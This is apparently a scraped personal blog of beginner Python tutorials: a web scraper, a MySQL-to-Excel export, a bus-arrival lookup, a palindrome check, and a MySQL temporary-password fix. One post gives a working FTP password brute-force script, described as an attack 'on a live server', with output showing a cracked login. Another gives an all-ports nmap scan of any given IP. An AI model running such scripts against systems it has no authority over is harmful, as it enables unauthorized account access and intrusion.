web scrapping with python BeautifulSoup

Web scrapping series :

(Dig out web data)

Part 1:

URL used for scrapping :   http://www.assamyellowpage.com

Today i am going to dig out data from a website without visiting the website . Say we are going to search a word (jalukbari) in the site http://www.assamyellowpage.com . It will look like bellow .


 

In our result we are getting like some result .

Now my script should dig out same data from the site ,


import requests
from bs4 import BeautifulSoup
import os
a=raw_input('Enter your query:')
r=requests.get('http://www.assamyellowpage.com/search?title=&street=%s&taxonomy_vocabulary_10_tid=All'%a)
soup=BeautifulSoup(r.content)
g_data=soup.find_all("div",{"class":"item-list"})
os.system('clear')
for i in range(len(g_data[0].find_all("div",{"class":"views-field views-field-title"}))):
        print 'Institiute-'+str(i),":"+g_data[0].find_all("div",{"class":"views-field views-field-title"})[i].text
        print '\nDescription:',g_data[0].find_all("span",{"class":"field-content"})[i].text


After running the script you will get the following result :





 







We got the exact same result as we got from above search  .Bellow is another search result .










Enjoy . We have just created a API for this site  http://www.assamyellowpage.com.

In next article i will scrap data from different sites like facebook.com, google.com , twitter.com and and many more .

Connect With Me: Facebook

export Data from Mysql server to excel file using python

Export Data from Mysql server to excel file using python:

I have data on mysql server as following



Now i want these data to export to  a excel file like bellow .





 Just follow as bellow .

 Main Python Script:


import mysql.connector
from xlwt import Workbook
con=mysql.connector.connect(host='xxx',database='xxx',user='xxx',password='xxxx')
cur=con.cursor()
wb=Workbook()
sheet1=wb.add_sheet('sheet1')
sql="""select * from employee """
cur.execute(sql)
result=cur.fetchall()
sheet1.write(0,0,"First Name")
sheet1.write(0,1,"Last Name")
sheet1.write(0,2,"Age")
sheet1.write(0,3,"Gender")
sheet1.write(0,4,"Income")
row_number=1
for row in result:
        column_number=0
        for item in  row:
                sheet1.write(row_number,column_number,str(item))
                column_number=column_number+1
        row_number=row_number+1
wb.save('test1.xls')



Thats it . Just fill the following part by yourself .

host='xxx',database='xxx',user='xxx',password='xxxx'

Bus time prediction script in Chicago , USA with python

Bus time prediction script in USA with python :  This script will tell you at what time the nest Bus coming towards your way in Chicago ,USA .

 Here i am using following website for route and Bus prediction .

http://ctabustracker.com/bustime/home.jsp

Lets  create a file called 1.py and copy the following code to it .

import urllib.request
import sys
if len(sys.argv) !=3:
        raise SystemExit('We need route and stopid.')
route=sys.argv[1]
stopid=sys.argv[2]
u=urllib.request.urlopen('http://ctabustracker.com/bustime/map/getStopPredictions.jsp?stop={}&route={}'.format(stopid,route))
data=u.read()
from xml.etree.ElementTree import XML
doc=XML(data)
for pt in doc.findall('.//pt'):
        print(pt.text)

Now  save the file and run this as :  python3.4 1.py 22 14787

here 22 is route  and 14787 is bus-stop .

You will get following result :

 Enjoy . :)

Connect With Me: Facebook 

Python script to find a string (word) palindrome or not

Today this python script that will show whether a string is palindrome  or not .

This script will work on pythoon3 and above .

copy bellow script to a file say its 1.py

a=str(input('Give a string: '))
d=len(a)
b=[]
for i in range (d):
        b.append(a[i])
c=[]
e=len(b)
for i in range(e):
        c.append(b[(e-1)-i])
if b==c:
        print('Given',a,'is a palindome.')
else:
        print('No',a,'is not a palindrame.')

 Now Run the script as :   python3.4 1.py


You will get the following output .

brute force attack with python

Today i will show how to do brute force attack on a live server using python . Its for python 2.7 .

I will show how to do it on VSFTP server .

Just make a file called 1.py . Paste the following to the file 1.py

import socket
import re
import sys
def connection(ip,user,passwd):
        s=socket.socket()
        print'Trying',ip,':',user,':',passwd
        s.connect((ip,21))
        data=s.recv(1024)
        s.send('USER '+user+'\r\n')
        data=s.recv(1024)
        s.send('PASS '+passwd+'\r\n')
        data=s.recv(1024)
        s.send('quit\r\n')
        s.close()
        return data
user='user Name'
passwords=['test','test1','test2','rest4','hell']
for password in passwords:
                p=connection('IPof the PC or server ',user,password)
                if "230" in p:
                        print 'We got it User:',user,'Password:',password
                        socket.socket().close()
                else:
                        print'Sorry'

You will get a out put like this :


Trying 192.168.145.132 : user : test
Sorry
Trying 192.168.145.132 : user : test1
Sorry
Trying 192.168.145.132 : user: test2
Sorry
Trying 192.168.145.132 : user: rest4
Sorry
Trying 192.168.145.132 : user: hell
We got it User: user Password: hell


Dats it . Enjoy .

scan a ip using python script

Today i am going to create a script which will scan a given ip . Script will take the ip from user as argument .


just copy the bellow script as 1.py

import nmap
import sys
u=sys.argv[1:]
print u
y= u[0]
print y
ns=nmap.PortScanner()
print 'Welcome to ',ns.nmap_version(),'scan:'
print 'For the given ip , the follwoing ports are open __:\n\n'
ns.scan(y,'1-65000','-v')
print ns.csv()
print 'For the TCP porotocol the following ports are open__:'
print '\n\n',ns[y]['tcp'].keys()


While running this script you have to mention the ip as argument like bellow :

python2.7 1.py 192.168.145.132

You will get out like bellow __:

python2.7 1 192.168.145.132
['192.168.145.132']
192.168.145.132
Welcome to  (7, 12) scan:
For the given ip , the follwoing ports are open __:


host;hostname;hostname_type;protocol;port;name;state;product;extrainfo;reason;version;conf;cpe
192.168.145.132;anuj.com;PTR;tcp;22;ssh;open;;;syn-ack;;3;
192.168.145.132;anuj.com;PTR;tcp;514;shell;open;;;syn-ack;;3;
192.168.145.132;anuj.com;PTR;tcp;3306;mysql;open;;;syn-ack;;3;
192.168.145.132;anuj.com;PTR;tcp;9090;zeus-admin;open;;;syn-ack;;3;

For the TCP porotocol the following ports are open__:


[514, 3306, 22, 9090]

You can do lots of improvement with this script .

How to login to mysql server in Fedora 23/24

Hi All;


Today i will show how to login to mysql server in Fedora 23 or 24 as after installing of the mysql-community-server in Fedora 23/24 you will get following error .


[anuj@anuj ~]$ mysql -u root -p
Enter password:
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)

 



Solution of the problem:


Run the following command .

grep 'A temporary password is generated for root@localhost' /var/log/mysqld.log |tail -1

You will the password like bellow .

[root@anu]# grep 'A temporary password is generated for root@localhost' /var/log/mysqld.log |tail -1
 
2016-06-15T17:00:24.787059Z 1 [Note] A temporary password is generated for root@localhost: VTWK#Ee/5tKK
 

 


Use the password to login . And issue resolve .